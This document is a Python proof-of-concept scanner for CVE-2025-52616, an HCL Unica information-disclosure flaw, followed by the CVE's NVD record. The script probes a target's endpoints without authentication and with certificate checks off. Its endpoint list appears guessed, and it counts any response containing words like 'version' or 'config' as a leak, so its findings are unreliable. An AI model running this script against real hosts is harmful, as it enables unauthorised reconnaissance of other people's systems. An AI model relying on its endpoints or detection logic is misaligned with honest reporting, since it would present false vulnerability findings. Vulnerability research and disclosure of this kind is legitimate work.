CVE-2025-52616

# CVE-2025-52616 - HCL Unica 12.1.10 Sensitive Information Disclosure PoC # This PoC demonstrates how an unauthenticated attacker can retrieve # sensitive system information from a vulnerable HCL Unica instance. import requests import sys import json TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "https://target-unica-host" # Common endpoints known to expose sensitive system information in HCL Unica ENDPOINTS = [ "/unica/jsp/main.jsp", "/unica/servlet/Dispatcher", "/unica/jsp/version.jsp", "/unica/admin/console", "/unica/api/system/info", "/unica/jsp/debug/systemInfo.jsp", "/unica/servlet/GetSystemInfo", ] def check_information_disclosure(target): """ Probe HCL Unica for sensitive information disclosure. No authentication required (PR:N), no user interaction (UI:N). """ findings = [] headers = { "User-Agent": "Mozilla/5.0 (compatible; SecurityAudit/1.0)", "Accept": "*/*" } for endpoint in ENDPOINTS: url = f"{target.rstrip('/')}{endpoint}" try: resp = requests.get(url, headers=headers, timeout=10, verify=False) # Check response for sensitive system information markers sensitive_patterns = [ "Unica", "version", "server.info", "java.version", "os.name", "catalina.home", "database", "config", "systemProperties", "build.version", "platform" ] for pattern in sensitive_patterns: if pattern.lower() in resp.text.lower(): findings.append({ "endpoint": endpoint, "status_code": resp.status_code, "leaked_keyword": pattern, "response_length": len(resp.text) }) print(f"[+] Sensitive info found at {endpoint}: keyword='{pattern}'") break except requests.exceptions.RequestException as e: print(f"[-] Error probing {endpoint}: {e}") return findings if __name__ == "__main__": print(f"[*] Probing {TARGET_URL} for CVE-2025-52616...") results = check_information_disclosure(TARGET_URL) print(f"\n[*] Total findings: {len(results)}") print(json.dumps(results, indent=2))

{"cve": {"id": "CVE-2025-52616", "sourceIdentifier": "[email protected]", "published": "2025-10-12T05:15:38.313", "lastModified": "2025-10-21T14:57:49.277", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "HCL Unica 12.1.10 can expose sensitive system information. An attacker could use this information to form an attack plan by leveraging known vulnerabilities in the application."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-497"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hcltech:unica:12.1.10:*:*:*:*:*:*:*", "matchCriteriaId": "D040191A-9DC1-448C-B385-5A883DC2E2CB"}]}]}], "references": [{"url": "https://support.hcl-software.com/csm?id=kb_article&sysparm_article=KB0124230", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}